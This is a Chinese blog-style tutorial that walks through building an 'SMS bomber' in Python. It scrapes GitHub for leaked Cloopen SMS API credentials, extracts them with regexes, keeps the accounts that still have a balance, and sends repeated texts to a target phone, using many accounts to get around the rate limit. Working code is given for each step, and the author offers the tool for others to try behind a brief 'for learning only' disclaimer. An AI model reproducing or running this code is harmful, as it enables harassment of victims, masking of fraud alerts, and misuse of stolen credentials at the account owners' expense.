短信轰炸机就是个批量发送短信的恶作剧软件,其危害可大可小。试想一打开手机就papa弹短信提示,费电不说还把有用短信给埋起来,挺恶心人的。而且它也可以用作黑产,很久之前就听说有黑客用垃圾短信轰炸受害人手机,将盗刷短信埋在垃圾短信里。
近两年很少看到有相关的新闻,但并不能说明这东西就少了。由于国家要求一些网站提供服务必需实名制,导致网站注册大部分都需要手机验证码,所以笔者猜测这些短信接口有不少可能已经被做成了短信轰炸机。
另外由于很多开发者,尤其是刚入职的新人,倾向于将公司的代码上传到自己的github上,不仅侵犯了代码的知识产权,还将公司的敏感数据泄漏了。这篇文章的切入点就是从github上搜索泄漏的短信接口账号信息。
下面笔者将使用github搜索到的短信服务账号制作一个简单的短信轰炸机。
轰炸机主要有两个模块:短信发送、搜索账号。发送短信根据短信接口文档得到;搜索账号通过搜索github并从中提取账号信息。

1. 短信发送接口

短信发送这里使用的是cloopen的服务。
首先得吐槽下cloopen的文档与py的sdk代码写得是真不咋样。笔者只得重写了一部分接口代码(查看账户、查看templateId, 发送短信),一些返回字段得测试后才能知道其含义。主要代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
class Cloopen:
URL = 'https://app.cloopen.com:8883/2013-12-26'

def __init__(self, sid, token, appid):
self.sid = sid
self.token = token
self.appid = appid
self.template_ids = []
self.balance = 0.0

def load_valid_template_ids(self):
"""加载可用短信模板"""
if self.template_ids:
return self.template_ids
resp = self.query_sms_template('')
if resp['statusCode'] == '000000':
self.template_ids = [d['id'] for d in resp['TemplateSMS'] if d['status'] == '1']
return self.template_ids

def send_sms(self, recvr, template_id, * datas):
body = {'to': recvr, 'datas': datas, 'templateId': template_id, 'appId': self.appid}
return self._send_request("/Accounts/" + self.sid+ "/SMS/TemplateSMS", body=json.dumps(body))

def query_sms_template(self, template_id):
"""
查询短信模板
:param template_id 模板Id,不带此参数查询全部可用模板
"""
body = {'appId': self.appid, 'templateId': template_id}
return self._send_request('/Accounts/' + self.sid + '/SMS/QuerySMSTemplate', json.dumps(body))

def query_account_info(self):
return self._send_request("/Accounts/" + self.sid + "/AccountInfo")

def _send_request(self, path, body=None):
# 生成sig
ts = datetime.datetime.now().strftime("%Y%m%d%H%M%S")
signature = self.sid + self.token + ts
sig = md5(signature.encode('utf-8')).hexdigest().upper()
# basic auth
req = Request(Cloopen.URL + path + "?sig=" + sig)
req.add_header('Authorization', b64encode((self.sid+':'+ts).encode('utf-8')).strip())
req.add_header('Accept', 'application/json')
req.add_header('Content-Type', 'application/json;charset=utf-8')
if body:
req.data = body.encode('utf-8')
with urlopen(req) as resp:
return json.loads(resp.read().decode('utf-8'))

def __str__(self, *args, **kwargs):
return 'Account: {sid: %s, token: %s, appid: %s, template_ids: %s, balance: %.2f}' % \
(self.sid, self.token, self.appid, str(self.template_ids), self.balance)

def __eq__(self, other):
if isinstance(other, self.__class__):
return self.sid == other.sid
return False

def __hash__(self, *args, **kwargs):
return hash(self.sid)

2. 搜索github,查找可用账号

根据cloopen的开发文档,要发送短信需要有:accountSid, accountToken, appId, templateId。前两个字段是注册后平台提供给用户,用于调用api时进行认证。templateId是短信模板id,但可以通过接口取得该账号下的所有短信模板,所以只需要在github中抽取前三个字段就可以了。
搜索github使用python的github库进行,代码不复杂。另外github速度太慢,所以使用了gevent。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def search_all(keyword, max_page=10, greenlet_count=3):
"""
通过协程并发搜索
:param max_page 最大页数
:param greenlet_count 协程数量
"""
paging = client.search_code(keyword)
total_page = min(max_page, paging.totalCount/20)
tasks = Queue()
for i in range(1, total_page+1):
tasks.put(i)
accounts = set()

def _search():
while not tasks.empty():
try:
page_no = tasks.get()
logging.info('正在搜索第%d页' % page_no)
contents = map(lambda x: x.decoded_content.decode('utf-8'), paging.get_page(page_no))
accounts.update({Cloopen(*p) for p in map(extract, contents) if p})
except Exception as err:
logging.error(err)
break
import gevent
gevent.joinall([gevent.spawn(_search) for _ in range(greenlet_count)])
return accounts

搜索后通过正则提取相关字段。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def extract(content):
"""
从搜索结果中抽取字段
"""
# 提取主要字段
def search_field(keyword_and_pattern):
keyword, pattern = keyword_and_pattern
for line in content.split('\n'):
if re.search(keyword, line, re.IGNORECASE):
match = re.search(pattern, line)
if match:
return match.group(0)

account_sid, account_token, appid = map(search_field, [('sid', '[a-z0-9]{32}'),
('token', '[a-z0-9]{32}'),
('app.?id', '[a-z0-9]{32}')])
if all([account_sid, account_token, appid]):
return account_sid, account_token, appid

搜索后还要过滤有效的账号,这里只保留有余额且有template_id的账号。

1
2
3
4
5
6
7
8
9
def collect_accounts():
for account in search_all('app.cloopen.com', max_page=6):
info = account.query_account_info()
if info['statusCode'] == '000000':
balance = float(info['Account']['balance'])
if balance > 0:
account.balance = balance
if account.load_valid_template_ids():
yield account

3. 发起攻击

cloopen出于安全考虑对于同一个号码发送相同短信要间隔30秒,但如果收集的账号足够多,这个限制也没多大用处,发送的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def run(account: Cloopen, recvr):
from random import choice
while True:
resp = account.send_sms(recvr, choice(account.template_ids), '0198', '1230', '1993', '1293')
if resp['statusCode'] == '000000':
global sent_count
sent_count += 1
# cloopen规定同一个手机号发送间隔为30s
if sent_count > MAX_SEND:
break
gevent.sleep(30)
else:
logging.error('协程: [' + hex(id(gevent.getcurrent())) + "]发送消息失败: " + resp['statusMsg'])
break

4. 效果

笔者简单测试了下代码,发现效果有点超出预期。
轰炸效果
仅搜索github前6页就收集到了14个有效账号,短短几分钟就收到几十条垃圾短信。代码已上传到github,有兴趣的可以自己玩玩。代码与思路仅供学习交流,请勿用于非法用途。